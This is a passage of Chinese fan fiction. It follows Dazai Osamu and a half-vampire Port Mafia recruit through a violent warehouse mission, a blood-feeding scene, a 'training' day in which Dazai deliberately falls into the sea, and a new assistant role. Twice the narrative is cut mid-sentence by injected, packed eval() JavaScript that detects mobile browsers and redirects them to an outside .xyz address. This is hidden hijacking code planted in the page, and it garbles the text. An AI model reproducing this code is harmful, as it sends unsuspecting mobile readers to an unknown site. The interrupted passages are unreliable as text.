他能清晰地听到自己体内血液流动的声音,比平时更缓慢一些——似乎是因为今天一整天都未进食血液导致的。 更要命的是,此时此刻,那股独属于太宰治血液的、如同陈年佳酿般馥郁醇厚的甜香,骤然在车厢内加深。 一种熟悉的、深入骨髓的空虚感和焦渴感开始从胃里升腾,像无数细小的藤蔓,缠绕着他的神经,蔓延只四肢百骸。 他努力维持着血族冷静而优雅的姿态,但微微急促的呼吸和喉结不易察觉的滚动,还是暴露了他的窘迫。 他侧过头,血红的眸子看向身旁闭目养神的太宰治,声音很轻,不自觉地带着一丝软糯的沙哑:“太宰。” 太宰治闻言,懒洋洋地掀开眼皮:“嗯?” “好像有点饿了……”菲那恩抿了抿唇,长长的白色睫毛垂下来,遮住了眼底翻涌的渴望。 太宰治鸢色的眼眸里闪过一丝了然,随即他像是报仇,又像是突然恶劣起来的顽童,脸上是惯常的、带着点恶劣的玩味。 他仿佛没听见菲那恩的诉求,反而慢悠悠地提醒道:“菲那恩君,任务地点到了哦。七只烦人的‘毒蝎’,清理干净,动作快点,才有‘饭’吃哦。” 他刻意加重了“七只”这个数字。 “你不能断我口粮,这是约定。”菲那恩一脸严肃,意有所指自己加入港口mafia的原因。 太宰治脸上依旧挂着那从容的笑,改口道:“那就清理干净后才更适合吃饭?” 菲那恩闻言,思考一会儿,觉得有道理。 他深吸一口气,压下胃里翻腾的饥饿感。 那他就先委屈自己忍忍吧,等完成任务再说。 随后,他推开车门,咸腥冰冷的海风瞬间灌入,让他精神微微一振。 他最后看了一眼车内姿态闲适的太宰治,以及前方驾驶座上那个目不斜视、仿佛把自己当成空气的司机,转身融入了仓库区的阴影中。 车门关上,隔绝了外界的声音。 司机,一个名叫田中、以沉默寡言和绝对忠诚著称的港口Mafia成员,依旧保持着标准的坐姿,只是握着方向盘的手心微微渗出了汗。 他刚才从后视镜里瞥见了那位漂亮得不像话的少年看太宰干部的眼神……还有太宰干部那副看好戏的表情…… 田中在心里默念港口Mafia员工守则第一条:不该看的不看,不该听的不听,不该想的不想。 仓库内,死寂一片,只有海风穿过破损窗户的呜咽。 菲那恩站在巨大的阴影里,樱粉色的和服在黑暗中几乎隐形。 他闭上眼,再睁开时,那双赤红的眼眸里所有的懵懂、依赖和饥饿带来的脆弱都已消失殆尽,只剩下一种无机质般的、纯粹的冰冷。 仓库外,黑色的轿车里。 太宰治不知何时拿出了一台平板电脑,屏幕上清晰地分割出几个画面,正是仓库内部的监控影像。 他悠闲地靠在椅背上,指尖在屏幕上轻轻滑动,嘴角噙着一抹笑。 “唔,森先生说七人?真是抱歉,好像少说了几个呢……还有那挺可爱的重机枪,希望菲那恩君喜欢这份‘惊喜’。” 他自言自语般低喃,声音轻得只有自己能听见,目光却紧紧锁定在屏幕上那个樱粉色的身影上。 然而,几乎在菲那恩踏入某个区域的瞬间,刺耳的枪声撕裂了寂静! “哒哒哒——!” 密集的子弹如同骤雨般从暗处的火力点倾泻而下,目标明确地覆盖了菲那恩所在的位置。 监控画面中,菲那恩的身影如同鬼魅般消失,原地只留下被子弹激起的尘土和碎屑。 下一秒,他出现在一个持枪者的身后,动作快得只留下一道模糊的粉影。 没有多余的动作,苍白的手指精准地扼住对方的后颈,指尖微一用力—— “咔嚓。” 轻微的骨裂声被淹没在枪声中,那人如同断线的木偶般软倒。 太宰治挑了挑眉:“不错的速度。” 然而,枪声暴露了位置,更多的敌人从集装箱后、高处的平台上涌出,足有十数人之多。 他们配合默契,交叉火力瞬间封锁了菲那恩所有闪避的空间。 子弹擦过他的衣袖、脸颊,带起灼热的气流。 他在弹幕中穿梭,每一次闪避都险之又险。 “砰!”一颗子弹擦过他的手臂,带出一道血痕。 菲那恩眉头都没皱一下,仿佛那只是被蚊子叮了一口。 他反手甩出几道肉眼几乎无法捕捉的暗红色能量刃,精准地切断了两名枪手的喉咙。 就在这时,高处的敌人架起了那挺太宰治“忘记”提到的重机枪,黑洞洞的枪口喷吐出致命的火舌。 “轰!轰!轰!” 重机枪的咆哮震耳欲聋,大口径子弹如同犁地般扫射而来,将菲那恩附近的集装箱和地面打得千疮百孔,碎石和金属碎片四处飞溅。 监控前的太宰治微微坐直了身体,眼中没了笑意。 菲那恩瞳孔微缩,瞬间判断出硬抗或闪避都极其危险。 他猛地向后急退,口中快速吐出几个古老而陌生的音节。 嗡! 他的身影瞬间化作一片浓郁如血的绯红雾气,无视物理阻碍,如同液体般渗入旁边一个集装箱的缝隙,堪堪避开了致命的扫射线! “哦?”太宰治眼中闪过一丝真正的惊讶,“血族的秘术……真是便利啊。” 但他也注意到,重新在集装箱另一侧凝聚出身形的菲那恩,脸色似乎比刚才更加苍白了一分,呼吸也略显急促。 连续使用秘术,加上饥饿和枪伤,显然在消耗他的力量。 菲那恩刚站稳,脚步却猛地一顿。 眼前的景象仿佛扭曲了一瞬——那些端着枪、面目狰狞围拢上来的敌人,他们手中枪口喷射的火光,映照在他们充满杀意和贪婪的脸上,那跳动的火焰…… 像极了记忆中,那些举着火把、面容扭曲、叫嚣着“烧死异端!烧死她和那个小怪物!”的村民。 冰冷的仓库空气仿佛变成了那个燥热、充满烟尘的夜晚。 母亲将他死死护在身后的颤抖手臂,村民们疯狂而愚昧的呐喊,火把噼啪燃烧的声音……所有被刻意遗忘的恐惧、愤怒和冰冷的绝望,如同潮水般汹涌回卷。 “滚开……”菲那恩的声音带着一丝他自己都没察觉的颤抖。 那双冰冷的红眸深处,第一次燃起了真实的、近乎疯狂的怒火。 不是因为任务,不是因为受伤,而是因为这被强行唤醒的、最深沉的梦魇。 “杀了这小杂种!” “别让他跑了!” 敌人的叫嚣与记忆中村民的诅咒重叠! “呃啊——!”他不再闪避,身影化作一道粉色的闪电,主动冲入了敌群,速度、力量瞬间提升到了极致。 监控画面瞬间变得血腥而混乱! 太宰治的瞳孔骤然收缩。 他看到菲那恩不再是精准的收割,而是暴烈的撕扯,苍白的手指如同最锋利的刀刃,毫无章法,但却轻易洞穿敌人的胸膛,捏碎喉骨。 能量刃狂暴地横扫,将人体如同破布般撕裂,鲜血如同喷泉般溅射,染红了樱粉色的和服,也溅上了菲那恩苍白的脸颊和唇角。 他脸上没有任何表情,只有那双赤红的眼眸,燃烧着冰冷到极致、又仿佛要将一切焚毁的火焰,如同地狱归来的修罗。 当最后一个敌人带着难以置信的恐惧表情倒下时,菲那恩站在一片狼藉和血泊中央,微微喘息。 他抬手,用袖口狠狠擦去唇边沾染的敌人温热的血液,眼中闪过一丝毫不掩饰的厌恶和恶心。 “呕……”他干呕了一下,胃里翻江倒海,不是因为血腥,而是因为这血液的味道。 他更加确定了——除了太宰治的血,其他任何血液,都让他本能地排斥和作呕。 仓库内死寂下来,只有浓重的血腥味弥漫。 太宰治关掉了平板,屏幕的光暗下去,映出他脸上少有的、一丝复杂的怔忡。 刚才菲那恩冲入敌群时,那双眼睛里的东西……不是杀戮的愉悦,而是某种被触碰到最痛处后爆发的、纯粹的、带着毁灭意味的悲伤和愤怒? 那种眼神……他从未在像个笨蛋一样的菲那恩身上见过,也……意外地有些刺眼。 他推开车门,海风裹挟着浓重的血腥味扑面而来。 他缓步走向仓库大门。 菲那恩听到脚步声,缓缓转过身。 激烈的战斗和秘术的消耗,加上饥饿和反胃感,让他此刻的脸色苍白如纸,身体微微摇晃,几乎站立不稳。 樱色的和服下摆浸透了暗红的血液,贴在腿上,冰冷而粘腻。 他赤红的眼眸看向走近的太宰治,里面的疯狂火焰已经熄灭,只剩下深深的疲惫和一种近乎虚脱的空洞,以及……无法掩饰的哀伤。 太宰治在他面前站定,鸢色的目光扫过他狼狈的样子,最后落在他苍白得没有一丝血色的脸上。 没有调侃,没有虚伪的关心。 “啧,真是狼狈啊,菲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337549|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那恩君。”他声音平淡,听不出情绪。 然后,他慢条斯理地将小臂上的绷带解开一小段。 他低头看着自己完好的皮肤,眉头微不可察地蹙了一下,小声抱怨了一句,声音轻得像叹息:“我最讨厌疼痛了。” 话音未落,一把不知从哪里摸出来的小刀毫不犹豫地在手臂内侧划开一道细长的口子。 瞬间,那清冽甘甜的、如同生命源泉般的独特气息在浓郁的血腥味中弥漫开来。 菲那恩的瞳孔骤然放大,所有的疲惫和空洞瞬间被一种本能的、压倒性的渴望取代。 他几乎是踉跄着扑了过去,冰冷的手指带着轻微的颤抖,紧紧抓住了太宰治的手腕,仿佛抓住了救命稻草。他没有丝毫犹豫,低头,柔软的唇急切地贴上了那道流血的伤口。 他极其小心地让伤口避开自己的獠牙,只用柔软的舌尖急切地舔舐、吮吸着那温热的、救命的液体。 甘美的血液涌入喉咙,让他忍不住发出一声满足的、带着哽咽般的喟叹。 太宰治垂眸,看着伏在自己手臂上、如同虔诚信徒般汲取生命的菲那恩。 对方的粉色长发有几缕散落在他黑大衣上,形成强烈的对比。 他能清晰地感受到对方冰冷的唇舌带来的奇异触感,以及那全然的近乎献祭般的依赖。 仓库里浓重的血腥味,地上横七竖八的尸体,与此刻这近乎诡异的、带着致命吸引力的亲密场景形成了荒诞的对比。 看着菲那恩因自己的血液而迅速恢复血色、紧蹙的眉头舒展开来的脸庞,看着他长长的白色睫毛如同蝶翼般因满足而轻轻颤抖…… 太宰治心中那丝因目睹菲那恩失控眼神而产生的极其微妙的异样感,似乎被眼前这全然的依赖和满足冲淡了一些。 他伸出另一只手,指尖极其自然地、轻轻拂开沾在菲那恩脸颊上的一缕被血污凝结的粉色发丝。 动作轻柔,带着一种连他自己都未曾深究的……安抚意味。 “……慢点。”他的声音比平时低沉,带着一丝不易察觉的沙哑,在寂静的、充满死亡气息的仓库里,显得格外清晰。 菲那恩沉浸在那救赎般的甘甜中,对此毫无所觉。 当伤口在舔舐下迅速愈合,菲那恩也终于松开了手。 他抬起头,脸上带着餍足的红晕,赤红的眼眸水润润地望着太宰治,仿佛刚才那个在血泊中暴烈杀戮的修罗从未存在过。 太宰治迅速收回手,用绷带重新缠好手腕,动作利落,仿佛刚才那片刻的温柔只是错觉。 “任务完成得……很‘彻底’。”他瞥了一眼周围的惨状,语气恢复了惯常的轻佻,“走吧,该回去汇报了,浑身是血的吸血鬼大人。” 他转身向仓库外走去,步伐从容。 菲那恩支撑着站起身,虽然还有些脱力,但力量已然恢复不少。 他看着太宰治的背影,下意识地舔了舔嘴角残留的、属于对方的血腥气,点了点头。 太宰治走在前面,夜风吹拂着他的黑大衣。 他低头,看了一眼自己缠着绷带的手腕,那被舔舐过的皮肤似乎还残留着一丝冰冷的触感。 ……真是个麻烦又危险的生物。 他无声地想着。 他掏出手机,编辑了一条短信发送出去。 【测试任务完成,‘毒蝎’据点已清除,菲那恩·德·图拉尔,其战斗能力与意志力远超评估,在遭遇远超情报显示的埋伏火力、装备精良、且占据绝对地利的情况下,凭借其速度、力量、再生能力、异能,完成清剿。其单体作战价值,评估为S级。】 ——收件人是森鸥外。 ………… 菲那恩辗转反侧,难以入眠。 菲那恩需要一个确定的答案。 于是,他半夜跳窗,离开公寓,身影悄然融入横滨迷离的夜色,脚踝上的银环在月光下闪着微光。 横滨的夜晚带着海风的咸腥,霓虹灯在湿漉漉的街道上晕染开模糊的光斑。 菲那恩裹紧了一件不起眼的深色外套,帽檐压得很低,遮住了他标志性的粉色长发和过于苍白的肤色。 他刚刚从第三家医院的捐血库后巷阴影里走出来,胃里翻腾着恶心与失望。 还是不行。 任何人类的血浆,无论是冷藏的袋装品还是刚从志愿者身上抽出的温热液体,只要入口,便立刻化为一种令人作呕的、带着铁锈味的泥浆,刺激着他的喉咙,引发剧烈的排斥反应。 那个答案不言而喻。 ——他的食谱真的真的缩小到只有太宰一人了。 既然太宰治的血已经成了他唯一的食粮,他就只能更加坚定将太宰治变成自己的血仆的想法了。 出于自己的教养和底线,他一定会等着太宰亲口同意的。 等太宰同意了,他有的是办法让太宰治一直陪他,永生。 毕竟,他也算得上是秘术使用者中的天才。 【血族秘术】能够做到一切能够用血族能量“编织”的事,只要能够构建精密的微型法阵便能实现——这是真正意义上的魔法。 他体内一半人类的血脉让他无法初拥人类,但以他自身细胞活性为基底,改变一个人类的细胞活性,让其永生这种事,理论上来说用[血族秘术]可以做到,只是需要一点时间研究。 13. 培训 公寓。 菲那恩正趴在茶几上拿着单词本学日语。 "毒蝎全歼,你干得很好哦,菲那恩。"太宰治的声音从头顶飘下来,带着蜂蜜般的甜腻。 菲那恩猛地抬头,正撞进那双鸢色的眼睛里——没有嘲讽,没有戏弄,只有一种纯粹的赞赏。 被、被夸了…… 菲那恩极其不自在地将视线移回桌子上的单词书上。 为了给菲那恩科普一下基本的现世常识,以及港口mafia的运行原理和阶级职务,太宰治的"培训"从菲那恩的常识开始。 "首先,见到蛞蝓要装作没看见。"他翘着腿坐在沙发上,手里转着一把裁纸刀,"但如果他先打招呼,你就说''今天的帽子也很适合你''。" 菲那恩的钢笔在笔记本上沙沙作响,写出来的是现世不明的古文。 【蛞蝓→视而不见/夸帽子】 笔尖一顿,菲那恩突然抬头,眼神里是货真价实的求知欲:“蛞蝓是……?” “长得很矮、品味很奇怪的、戴着帽子的、名叫中原中也的人。”太宰治啧了一声,仿佛提到这个名字都污染了空气。 菲那恩默默把笔记本上的蛞蝓划掉,按照太宰治的说法,一字不落地写了上去。 "红叶大姐喜欢乖孩子,记得主动问好。"太宰治继续说道,刀尖"哆"地钉入实木桌面,"不过千万别碰她的和服袖子,上次这么干的人还在东京湾喂鱼。" 【红叶大姐→问好/禁止肢体接触】。 "至于森先生……"太宰治突然凑近,带着绷带气息的吐息拂过菲那恩耳畔,"建议直接装死。" 菲那恩下意识地缩了缩脖子,钢笔尖“啪”地一声脆响,折断了。 他愣愣地看着断掉的笔尖,又抬眼看向太宰治,眼里满是不解:“为什么?” 太宰治重新拉开距离,懒洋洋地靠着沙发闭目养神,“因为一般只有在首领办公室能看见森先生,如果你在其他地方看到他,那大概率他要搞事了。” 他声音拖得长长的,带着点意味深长的笑意,“比如,给某个倒霉蛋分配不可能完成的任务,或者,心血来潮想给你‘检查身体’。” 他做了个打针的手势。 菲那恩若有所思地点了点头,随即反应过来,眼睛微微睁大:“竟然会这样吗……” 当太宰治把拆散的枪械零件哗啦倒在菲那恩床上时,菲那恩终于忍不住抗议:"该休息了……" "所以才要在床上躺着上课呀~"太宰治顺手把撞针塞进他睡衣口袋,"来,组装试试?" 他笑得像只准备看戏的狐狸。 三分钟后,菲那恩顶着被自己揉乱的头发,手里举着装反的弹匣:"......" "噗。"太宰治突然笑倒在床边,"你刚才摸到消音器时的表情……像摸到烫年糕的猫……" 菲那恩默默看了一眼手里装反的弹匣,又看了看笑得毫无形象的太宰治,面无表情地手腕一抬—— 弹匣带着风声砸向那张可恶的俊脸。 太宰治脑袋一偏,弹匣“咚”地砸在门板上,滚落在地毯上。 “哎呀呀,谋杀同事兼上司罪加一等哦。”太宰治抹掉笑出的眼泪,站起身,“走吧,带你出门实践。” 出门前,太宰治状似无意地拉住菲那恩的手腕,脸上是惯常的无所谓:“就这么出去,你真的不会被晒成吸血鬼干儿吗?” 菲那恩皱眉,用力抽回手,语气带着点被小看的郁闷:“……真的不会,我只是会讨厌阳光,但实际上晒太阳是完全没问题的。” 他强调道,“……我好歹也是半个人类。” 太宰治松开手,耸耸肩,率先拉开门:“那就好,要是森先生刚到手的新人还没正式上班就化成灰了,他可是会抱着爱丽丝哭给我看的哦。” 菲那恩决定放弃对这几个奇怪人类的理解。 太宰治所谓的常识课地点是附近一条最普通的商业街,他目标明确地走向便利店。 “首先,关东煮的萝卜一定要煮到透明才好吃。”太宰治站在便利店的加热柜前,用夹子戳了戳漂浮在汤里的白萝卜块,语气严肃得像在讲解某种致命武器,“但鱼丸不能泡太久,否则会变得软趴趴的,口感像烂掉的橡皮。” 菲那恩点头,认真在笔记本上写下:【关东煮——萝卜(透明),鱼丸(不宜久泡)】。 太宰治瞥了一眼他的笔记,忽然伸手从加热柜里夹出一颗鱼丸,直接塞进菲那恩嘴里:“理论知识不如实践,尝尝看?” 菲那恩猝不及防被烫得眼眶发红,但还是乖乖咀嚼咽下,然后小声评价:“……确实像橡皮。” 太宰治看着他被烫红的脸颊和泛着水光的眼睛,毫不客气地笑出了声,引得旁边擦窗玻璃的服务员好奇地看了过来。 菲那恩不好意思地低头,耳尖悄悄红了。 横滨公共交通系统。 “这条电车线通往港口仓库区,理论上二十分钟一班。”太宰治站在月台边缘,风衣下摆被疾驰而过的列车带起的风吹得猎猎作响,“但实际上,如果看到车厢里有三个以上穿黑西装戴墨镜的男人,最好等下一班。” 菲那恩低头记笔记:【电车——黑西装×3=危险】。 “为什么?”他问。 太宰治歪头:“因为他们可能是去收保护费的,也可能是去火并的,还有可能是去收尸的。” 他顿了顿,补充道,“当然,也有可能只是港口Mafia的基层员工集体团建。” 菲那恩:“……” 他默默在笔记上又加了一句:【也可能是团建】。 黑市。 午后的小巷阴暗潮湿,太宰治轻车熟路地拐进一家招牌斑驳的旧书店,对柜台后满脸刀疤的老头笑眯眯地打招呼:“山田先生,最近有新货吗?” 老头瞥了他一眼,慢吞吞地从柜台下摸出一本封面香艳的杂志:“最新一期,《周刊美少女》。” 太宰治依旧笑眯眯:“不是这种‘货’啦。” 老头“啧”了一声,又弯腰从更隐蔽的抽屉里取出一个牛皮纸袋:“军火价目表,上周更新的。” 菲那恩站在一旁,看着太宰治熟练地翻看价目表,甚至还能讨价还价:“诶——手榴弹涨价了?上次不是这个价吧?” 老头翻了个白眼:“通货膨胀。” 太宰治叹气:“经济不景气啊……” 菲那恩低头记笔记:【黑市交易——可议价,通货膨胀影响手榴弹价格】。 黄昏时分,他们站在横滨港的堤岸上,远处海面被夕阳染成橘红色,波光粼粼得像洒了一池碎金。 太宰治忽然停下脚步,转身面对菲那恩。 “菲那恩君。”他的声音很轻,带着一丝微妙的笑意,“如果现在我要杀你,你会怎么做?” 海风拂过菲那恩的额发,露出他平静的眼睛。 他没有惊慌,甚至没有露出困惑的表情,只是合上笔记本,“虽然我不觉得你能杀死我,也不觉得我会被杀死,但我会先问为什么。” 太宰治微微睁大了眼,嘴角勾起一抹兴味的笑。 “为什么?”他饶有兴趣地追问。 “因为……”菲那恩想了想,抬眼看着太宰治那双鸢眸,歪了歪头,“我好奇?” 太宰治盯着他看了几秒,忽然笑了。 不是那种浮于表面的、轻佻的笑,而是一种从眼底漫上来的、真实的愉悦。 “不错的答案。”他转身继续往前走,风衣在暮色中划出流畅的弧线,“比横滨的夕阳有趣多了。” 菲那恩站在原地,看着他的背影,半晌才跟上去。 随后,映入菲那恩眼眸中的是令他震惊的一幕。 太宰治并没有沿着堤岸继续前行。他走到堤岸边缘,脚步没有丝毫停顿,甚至带着一种近乎优雅的轻快,如同走向一场期待已久的约会。 夕阳的余晖在他鸢色的发梢跳跃,为他瘦削的轮廓镀上一层不真实的金边。 然后,在菲那恩完全没反应过来的瞬间—— 他张开双臂,身体微微前倾,像一个拥抱落日的信徒,又像一个厌倦了舞台的演员,无声无息地、轻盈地坠入了波光粼粼的橘红色海面。 没有水花,没有挣扎,甚至没有一声惊呼,只有“噗通”一声闷响,被海风迅速吹散,快得像幻觉。 菲那恩整个人僵在了原地。 发生了什么? 他……掉下去了? 为什么?这么突然……? 刚才不是还在说夕阳吗? “比横滨的夕阳有趣多了”……是指这个?! 那股属于血族的敏锐感知力能让他清晰地“听”到太宰治落水瞬间衣物被水浸透的声音,感受到水波被扰动后微弱的能量涟漪,甚至能捕捉到那个人体沉入水下几米后,开始随着水流缓慢漂移的轨迹。 平静得……太宰治就如同被投入水中的一块石头。 “太宰……?”菲那恩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337550|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音卡在喉咙里,带着他自己都没察觉的茫然。 他来不及细想,向前疾走几步,冲到堤岸边缘,探头向下望去。 海面只剩下被搅动的粼粼波光,哪里还有太宰治的影子?只有几个泡泡慢悠悠地浮上来,破裂。 “喂!”菲那恩提高了音量,试图穿透海风和水声,“太宰治!” 回答他的只有海浪拍打堤岸的哗哗声,以及远处海鸥的鸣叫。 水下那越来越微弱、越来越平稳的生命气息,却表明了——那不是在演戏,那是一种彻底的、沉静的自我放弃。 菲那恩的眉头紧紧拧在一起,血色的眸子里充满了前所未有的困惑。 这个人类……这个叫太宰治的人类,脑子里到底装了什么?!比那些复杂的枪械零件还要难以理解一万倍…… “开什么玩笑……”菲那恩低声骂了一句。 所有人类的生死他都不关心,唯独太宰不行,太宰可是他的目标。 他要得到太宰,将太宰变为自己的血仆。 下一秒,他做出了决定。 无论这是不是培训的内容之一,无论这个混蛋人类想干什么,他都不能让他这么草率地死了。 这太荒谬了。 菲那恩一把将笔记本塞进外套内侧口袋,毫不犹豫地单手撑住堤岸的栏杆,身体以一个远超人类极限的敏捷和爆发力,纵身跃下。 他身上那件精致的粉色和服,在纵身一跃时,宽大的袖摆如同蝶翼般展开,随即被疾风紧紧压向身体。 冰冷的黑色海水瞬间包裹了他,巨大的冲击力让柔软的丝绸布料紧紧吸附在皮肤上。他奋力划水,血族的力量赋予了他远超常人的水下速度,像一道粉色的闪电破开水流,迅速接近那个缓缓下沉的身影。 他一把抓住太宰治衬衣的后领,用尽力气将他向上拽。 接触到对方身体的瞬间,菲那恩能清晰地感觉到自己的血族力量被抹消,以及太宰治体内生命力的微弱流逝,还有那种毫无防备的、任凭死亡的松懈感。 作为血族他其实不太需要空气,但呼吸已经是从小时候开始就形成的本能,所以他下意识地一直憋着气,拖着太宰治沉重的身体向上游。 破水而出的瞬间,他大口呼吸着咸湿的空气,一手紧紧箍着太宰治的胸膛,另一只手奋力划向最近的堤岸阶梯。 好不容易把人拖上岸,菲那恩自己也浑身湿透,水珠顺着湿透的粉发和下巴不断滴落。 他顾不上自己,立刻将太宰治平放在冰冷的石阶上。对方脸色苍白,嘴唇泛着青紫色,双目紧闭,胸口几乎没有起伏。 菲那恩跪在他身边,血色的眼睛里充满了复杂的情绪。 他伸出手指探向太宰治的颈动脉——微弱的跳动还在。 “咳…咳咳咳……”太宰治突然剧烈地咳嗽起来,呛出好几口海水。 他艰难地睁开鸢色的眼睛,里面一片水雾朦胧,似乎还没完全聚焦。 当他的视线终于对上菲那恩那张写满震惊、茫然、恼怒和一点点担忧的脸时,太宰治居然又扯出了一个虚弱但依旧欠揍的笑容。 “啊啦……菲那恩君……”他的声音沙哑得像砂纸摩擦,“真是……这么着急……想和我一起……殉情吗?” 菲那恩语塞:“……” 刚才在水下奋力挣扎拖拽,加上上岸的动作,菲那恩身上那件本就因浸水而变得沉重松垮的粉色和服彻底乱了套。 湿透的粉色丝绸紧贴着他身体的曲线,勾勒出少年人特有的青涩轮廓。 “太宰你……脑子被海水泡坏了?”菲那恩嘴角一抽。 他看着眼前这个刚从鬼门关溜达一圈回来、浑身湿透像只落水狗、却还在胡说八道的家伙,只觉得一股无名火直冲脑门,气得他尖牙都差点不受控制地露出来。 回程的电车上,菲那恩困得脑袋一点一点,最终不受控制地歪向太宰治的肩膀。 太宰治侧头看他,唇角勾起一抹恶劣的弧度,突然伸手捏住他的鼻子。 菲那恩迷迷糊糊地挣扎了一下,猛地惊醒,瞪大眼睛:“……你干嘛?” 太宰治笑眯眯:“防止你睡过站。” 菲那恩深吸一口气,终于忍无可忍,一把抓住太宰治的手腕,凶巴巴地道:“太宰!你再这样,我就把你从电车上扔下去。” 太宰治眨了眨眼,故作委屈道:“菲那恩好凶。” 菲那恩表情有一秒钟的宕机:“……” 最终,菲那恩放弃了。 14. 成为助理 很快,菲那恩空降成了太宰治的助理,在太宰治的办公桌旁边安放了一个小长桌,作为他的办公桌。 清晨,港口Mafia总部大楼顶层干部办公室弥漫着一股没睡好觉的低气压。 菲那恩看着太宰治喝咖啡,忍不住小声吐槽道:“喝咖啡就像在喝融化的沥青……” 他皱着鼻子,一脸无法理解的表情。 太宰治端着咖啡杯的手顿住了,“……” 他鸢色的眼眸危险地眯了起来,盯着菲那恩。 “嘛,”太宰治坐在办公桌前,放下装着咖啡的杯子,发出清脆的磕碰声,“菲那恩,作为我的新任助理,首要任务自然是熟悉我们的企业。” “港口Mafia,横滨黑夜的支配者之一,我们的‘生意’范围很广,从传统的‘货物’运输与安保,”他指尖轻轻敲击桌面,暗示着走私与军火,“到娱乐产业的管理,”意指赌场、夜总会等灰色地带,“再到一些……更精细的‘信息咨询’和‘矛盾调解’服务。” 他的话语像裹着糖衣的毒药,将血腥与暴力包装成冰冷的商业术语。 菲那恩一脸茫然地点了点头,“懂了。” “你真懂了?”太宰治眼底一片青黑,显然又又又没睡好觉,正用着一种哀怨的眼神盯着同样精神不佳的菲那恩。 昨天晚上,菲那恩尝试潜入他的房间,结果触发了他无聊设下的、连着十个闹钟的恶作剧陷阱。 震耳欲聋的铃声,随之而来的是他带着血丝的鸢眸,紧紧地盯着菲那恩。 “那个柜子太小了,我就想来看看你的柜子……”菲那恩心虚地解释道。 下一秒就被他轰出了房间,没一会儿菲那恩又在房间外面打碎了一个花瓶。 菲那恩既是新奇的玩具,又是麻烦的源头。 “啊?懂了,你说的很简单啊。”菲那恩认真地点了点头。 太宰治定定地看了菲那恩好一会儿,扯出一个笑,“那就好,我亲爱的助理,菲那恩君——” 他的声音拖得长长的,带着没睡醒的慵懒和一丝危险的甜腻,“托你的福,我昨晚体验了地狱般的噪音,现在头疼得像被中也踢过一样……作为补偿,今天的工作,那就请加倍努力吧?” 菲那恩愧疚地垂着眼眸,像个做错事的孩子,“抱歉,我需要适应一段时间的人类作息……” “道歉有用的话,还要Mafia做什么?”太宰治笑眯眯的,像只准备玩弄猎物的黑猫,“那么,开始吧。” “下午三点,我有个关乎组织‘未来大计’的绝密会议,”他故意压低了声音,营造神秘感,“需要一份关于横滨地下排水系统近五年流量波动及潜在淤塞风险的分析报告作为支撑材料,原始资料在……” 他拖长了调子,像是在努力回忆,“档案室最深处,B区,17号柜,最底层那个……嗯,大概落满了灰、封面是蓝色的旧文件夹里。” “辛苦菲那恩帮我找出来,并且……”他露出一个看起来似乎还挺和善的微笑,“手写誊抄一份,字迹务必工整清晰,不能有任何涂改污迹,这关系到组织‘地下世界’的布局,非常重要哦。” 菲那恩歪了歪头,似乎在消化“地下排水系统”与“组织未来大计”之间的逻辑关系,但太宰说得如此郑重…… ——肯定很重要! 他点了点头,语气中甚至还有了一种被信任的使命感,“好的,保证完成任务!” 太宰治看着他毫无怨言、甚至有点小兴奋地转身离开的粉色背影,鸢色的眼眸深处闪过一丝难以言喻的复杂光芒。 这种纯粹的、不带任何算计的感觉和乎傻气的认真……真是……太糟糕了。 让人忍不住想看看,他忍耐的极限在哪里。 档案室B区。 菲那恩在昏暗、满是灰尘和旧纸张气味的档案室B区,费了九牛二虎之力,才从17号柜最底层拖出那个几乎被遗忘、封面蒙着厚厚灰尘的蓝色文件夹。 他小心地吹去这份“关乎组织未来”的“珍贵情报”灰尘,结果却被呛到了。 “咳咳咳……我真是……咳咳……” 随后,他刚出档案室厚重的门,便遇上了一位身着红白振袖和服、气质优雅的女性——尾崎红叶。 她金色的眼眸带着温和却洞察一切的笑意,落在了菲那恩和他怀里的旧文件夹上。 “哎呀呀,这可真是位稀罕的小客人呢。”尾崎红叶掩唇笑道,带着一丝恰到好处的惊讶,“想来少年你便是太宰君新收的助理,菲那恩君了?” 作为主管情报和拷问的干部,尾崎红叶是知道菲那恩的真实身份的——古老的血族。 菲那恩在看到她的瞬间,脑中立刻浮现出太宰治之前对组织架构的简单介绍。 眼前这位气质华贵、威压内敛的女性,无疑就是那位令人敬畏的尾崎红叶干部。 “尾崎干部。”菲那恩立刻停下脚步,微微颔首,动作隐约带着一种古老世家浸染出的、略显生疏的礼节感,“初次见面,我是菲那恩·德·图拉尔。” 尾崎红叶眼中闪过一丝浓厚的兴趣。 “不必如此拘谨,菲那恩君。”红叶的声音带着长辈般的温和,但那温和之下,是深海般的莫测,“妾身只是恰巧路过。不过……” 她的视线重新落回文件夹上,红唇勾起一个意味深长的弧度,“能让太宰君特意差遣新助理亲自跑一趟档案室深区的‘机密文件’,想必事关重大?” 菲那恩血色的眼眸里闪过一丝被委以重任的认真,或者说,被太宰治忽悠瘸了的使命感,郑重地点点头,“嗯嗯,这是关于横滨地下排水系统近五年流量波动及潜在淤塞风险的原始资料。” 他顿了顿,补充道:“……太宰说,这关系到组织下午‘未来大计’绝密会议的关键支撑,非常重要,要求我务必手写誊抄一份,字迹清晰,不能有丝毫涂改污迹。” 空气似乎凝固了一瞬。 尾崎红叶那双金色的眸子微微睁大了些,里面清晰地映出菲那恩那张写满“严肃认真完成任务”的漂亮脸蛋。 